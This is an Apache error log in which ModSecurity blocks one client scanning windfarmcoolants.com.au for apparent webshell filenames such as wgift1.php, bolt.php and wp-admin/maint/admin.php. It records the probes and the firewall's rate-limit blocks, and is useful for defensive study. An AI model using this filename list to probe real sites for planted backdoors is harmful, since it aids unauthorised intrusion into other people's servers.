[Mon Mar 23 15:53:22.608855 2026] [:error] [pid 57265:tid 57289] [client 4.223.87.176:46835] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "acDxcmNLjPJJkhuqCsjcsAAAARY"]
[Mon Mar 23 15:53:23.401551 2026] [:error] [pid 23440:tid 23486] [client 4.223.87.176:48875] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/0.php"] [unique_id "acDxcz49_8n8h_ttcUoc3wAAAEo"]
[Mon Mar 23 15:53:24.054086 2026] [:error] [pid 23441:tid 23506] [client 4.223.87.176:48822] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acDxdBq7S-oOqSXZEr6-QAAAAIM"]
[Mon Mar 23 15:53:24.836545 2026] [:error] [pid 23440:tid 23482] [client 4.223.87.176:48844] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acDxdD49_8n8h_ttcUoc4QAAAEY"]
[Mon Mar 23 15:53:25.892948 2026] [:error] [pid 35165:tid 35168] [client 4.223.87.176:47570] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acDxdc6udpN6Esk7JKuFqwAAAYA"]
[Mon Mar 23 15:53:27.777293 2026] [:error] [pid 14573:tid 14581] [client 4.223.87.176:48241] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "acDxd--oSmHn3q4_J1F9jwAAAUY"]
[Mon Mar 23 15:53:28.836047 2026] [:error] [pid 23539:tid 23568] [client 4.223.87.176:47546] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "acDxeH7Dh3qWGSpIAZX4EgAAANQ"]
[Mon Mar 23 15:53:29.699629 2026] [:error] [pid 57265:tid 57289] [client 4.223.87.176:47510] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "acDxeWNLjPJJkhuqCsjcuAAAARY"]
[Mon Mar 23 15:53:30.597751 2026] [:error] [pid 57265:tid 57272] [client 4.223.87.176:48128] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "acDxemNLjPJJkhuqCsjcuwAAAQU"]
[Mon Mar 23 15:53:31.255116 2026] [:error] [pid 57265:tid 57284] [client 4.223.87.176:47520] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "acDxe2NLjPJJkhuqCsjcvwAAARE"]
[Mon Mar 23 15:53:32.072917 2026] [:error] [pid 57265:tid 57282] [client 4.223.87.176:46728] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acDxfGNLjPJJkhuqCsjcxAAAAQ8"]
[Mon Mar 23 15:53:32.866052 2026] [:error] [pid 23539:tid 23558] [client 4.223.87.176:47594] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acDxfH7Dh3qWGSpIAZX4FAAAAMo"]
[Mon Mar 23 15:53:33.676009 2026] [:error] [pid 57265:tid 57275] [client 4.223.87.176:48133] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acDxfWNLjPJJkhuqCsjcyQAAAQg"]
[Mon Mar 23 15:53:34.468518 2026] [:error] [pid 35165:tid 35168] [client 4.223.87.176:48240] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acDxfs6udpN6Esk7JKuFtQAAAYA"]
[Mon Mar 23 15:53:35.395618 2026] [:error] [pid 57265:tid 57280] [client 4.223.87.176:47596] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acDxf2NLjPJJkhuqCsjc0gAAAQ0"]
[Mon Mar 23 15:53:36.136848 2026] [:error] [pid 57265:tid 57272] [client 4.223.87.176:47543] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acDxgGNLjPJJkhuqCsjc1QAAAQU"]
[Mon Mar 23 15:53:36.911347 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:48769] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acDxgGNLjPJJkhuqCsjc1wAAAQs"]
[Mon Mar 23 15:53:37.769835 2026] [:error] [pid 57265:tid 57279] [client 4.223.87.176:48846] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class.php"] [unique_id "acDxgWNLjPJJkhuqCsjc3AAAAQw"]
[Mon Mar 23 15:54:22.022887 2026] [:error] [pid 23440:tid 23500] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Mon Mar 23 15:54:22.350313 2026] [:error] [pid 23440:tid 23480] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/xc0252.php
[Mon Mar 23 15:54:22.748808 2026] [:error] [pid 23440:tid 23482] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/ws84.php
[Mon Mar 23 15:54:23.559869 2026] [:error] [pid 23440:tid 23488] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/sc.php
[Mon Mar 23 15:54:23.829493 2026] [:error] [pid 23440:tid 23497] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/mis.php
[Mon Mar 23 15:54:24.172983 2026] [:error] [pid 23440:tid 23484] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/zogy1.php
[Mon Mar 23 15:54:24.471850 2026] [:error] [pid 23440:tid 23490] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/xvs.php
[Mon Mar 23 15:54:24.774959 2026] [:error] [pid 23440:tid 23483] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Mon Mar 23 15:54:25.075881 2026] [:error] [pid 23440:tid 23481] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/az.php
[Mon Mar 23 15:54:25.381314 2026] [:error] [pid 23440:tid 23487] [client 4.223.87.176:48886] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Mon Mar 23 15:54:26.295057 2026] [:error] [pid 23440:tid 23476] [client 4.223.87.176:48886] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acDxsj49_8n8h_ttcUodGwAAAEA"]
[Mon Mar 23 15:54:26.983928 2026] [:error] [pid 35165:tid 35171] [client 4.223.87.176:50060] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acDxss6udpN6Esk7JKuF1wAAAYM"]
[Mon Mar 23 15:54:27.779540 2026] [:error] [pid 57265:tid 57288] [client 4.223.87.176:48830] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acDxs2NLjPJJkhuqCsjdKAAAARU"]
[Mon Mar 23 15:54:28.603135 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50050] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lp6.php"] [unique_id "acDxtGNLjPJJkhuqCsjdKQAAAQY"]
[Mon Mar 23 15:54:29.600433 2026] [:error] [pid 23440:tid 23496] [client 4.223.87.176:50157] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acDxtT49_8n8h_ttcUodHwAAAFQ"]
[Mon Mar 23 15:54:30.593574 2026] [:error] [pid 23440:tid 23485] [client 4.223.87.176:48237] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acDxtj49_8n8h_ttcUodIQAAAEk"]
[Mon Mar 23 15:54:31.268422 2026] [:error] [pid 23441:tid 23526] [client 4.223.87.176:49427] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acDxtxq7S-oOqSXZEr6-fAAAAJc"]
[Mon Mar 23 15:54:32.901842 2026] [:error] [pid 35165:tid 35184] [client 4.223.87.176:50072] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acDxuM6udpN6Esk7JKuF2wAAAZA"]
[Mon Mar 23 15:54:33.609165 2026] [:error] [pid 35165:tid 35178] [client 4.223.87.176:48234] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "acDxuc6udpN6Esk7JKuF3gAAAYo"]
[Mon Mar 23 15:54:34.667926 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50078] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "acDxumNLjPJJkhuqCsjdNQAAAQY"]
[Mon Mar 23 15:54:35.639304 2026] [:error] [pid 57265:tid 57291] [client 4.223.87.176:49490] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "acDxu2NLjPJJkhuqCsjdOQAAARg"]
[Mon Mar 23 15:54:37.018458 2026] [:error] [pid 23539:tid 23572] [client 4.223.87.176:49518] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "acDxvX7Dh3qWGSpIAZX4PAAAANg"]
[Mon Mar 23 15:54:37.837852 2026] [:error] [pid 23441:tid 23512] [client 4.223.87.176:48868] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wander.php"] [unique_id "acDxvRq7S-oOqSXZEr6-fwAAAIk"]
[Mon Mar 23 15:54:38.473842 2026] [:error] [pid 57265:tid 57272] [client 4.223.87.176:48236] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wander.php"] [unique_id "acDxvmNLjPJJkhuqCsjdPgAAAQU"]
[Mon Mar 23 15:54:39.817650 2026] [:error] [pid 23440:tid 23484] [client 4.223.87.176:50166] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wander.php"] [unique_id "acDxvz49_8n8h_ttcUodJAAAAEg"]
[Mon Mar 23 15:54:40.450976 2026] [:error] [pid 35165:tid 35174] [client 4.223.87.176:48878] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wander.php"] [unique_id "acDxwM6udpN6Esk7JKuF4wAAAYY"]
[Mon Mar 23 15:54:41.370413 2026] [:error] [pid 23539:tid 23559] [client 4.223.87.176:48221] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acDxwX7Dh3qWGSpIAZX4UgAAAMs"]
[Mon Mar 23 15:54:42.286502 2026] [:error] [pid 35165:tid 35184] [client 4.223.87.176:50068] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acDxws6udpN6Esk7JKuF6wAAAZA"]
[Mon Mar 23 15:54:43.342713 2026] [:error] [pid 57265:tid 57268] [client 4.223.87.176:48243] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acDxw2NLjPJJkhuqCsjdSgAAAQE"]
[Mon Mar 23 15:54:44.187497 2026] [:error] [pid 23539:tid 23563] [client 4.223.87.176:49502] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "acDxxH7Dh3qWGSpIAZX4WwAAAM8"]
[Mon Mar 23 15:54:45.135070 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:48787] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acDxxWNLjPJJkhuqCsjdVQAAARc"]
[Mon Mar 23 15:54:46.013753 2026] [:error] [pid 57265:tid 57272] [client 4.223.87.176:49423] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acDxxmNLjPJJkhuqCsjdWwAAAQU"]
[Mon Mar 23 15:54:46.754975 2026] [:error] [pid 57265:tid 57284] [client 4.223.87.176:49523] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acDxxmNLjPJJkhuqCsjdYAAAARE"]
[Mon Mar 23 15:54:47.749763 2026] [:error] [pid 23539:tid 23561] [client 4.223.87.176:49514] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "acDxx37Dh3qWGSpIAZX4ZQAAAM0"]
[Mon Mar 23 15:54:48.522300 2026] [:error] [pid 35165:tid 35191] [client 4.223.87.176:50069] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acDxyM6udpN6Esk7JKuF7gAAAZc"]
[Mon Mar 23 15:54:49.660179 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:48784] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acDxyWNLjPJJkhuqCsjdagAAAQs"]
[Mon Mar 23 15:54:50.556636 2026] [:error] [pid 57265:tid 57270] [client 4.223.87.176:48242] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acDxymNLjPJJkhuqCsjdawAAAQM"]
[Mon Mar 23 15:54:51.297455 2026] [:error] [pid 57265:tid 57281] [client 4.223.87.176:50143] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acDxy2NLjPJJkhuqCsjdbgAAAQ4"]
[Mon Mar 23 15:54:52.050940 2026] [:error] [pid 57265:tid 57290] [client 4.223.87.176:49532] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "acDxzGNLjPJJkhuqCsjdbwAAARc"]
[Mon Mar 23 15:54:52.847805 2026] [:error] [pid 23539:tid 23568] [client 4.223.87.176:50103] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "acDxzH7Dh3qWGSpIAZX4eQAAANQ"]
[Mon Mar 23 15:54:53.673742 2026] [:error] [pid 57265:tid 57267] [client 4.223.87.176:48780] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "acDxzWNLjPJJkhuqCsjddwAAAQA"]
[Mon Mar 23 15:54:54.368955 2026] [:error] [pid 57265:tid 57273] [client 4.223.87.176:50115] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3.php"] [unique_id "acDxzmNLjPJJkhuqCsjdfAAAAQY"]
[Mon Mar 23 15:54:55.148670 2026] [:error] [pid 57265:tid 57278] [client 4.223.87.176:50606] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acDxz2NLjPJJkhuqCsjdgAAAAQs"]
[Mon Mar 23 15:54:55.908527 2026] [:error] [pid 23539:tid 23556] [client 4.223.87.176:50680] [client 4.223.87.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acDxz37Dh3qWGSpIAZX4hgAAAMg"]
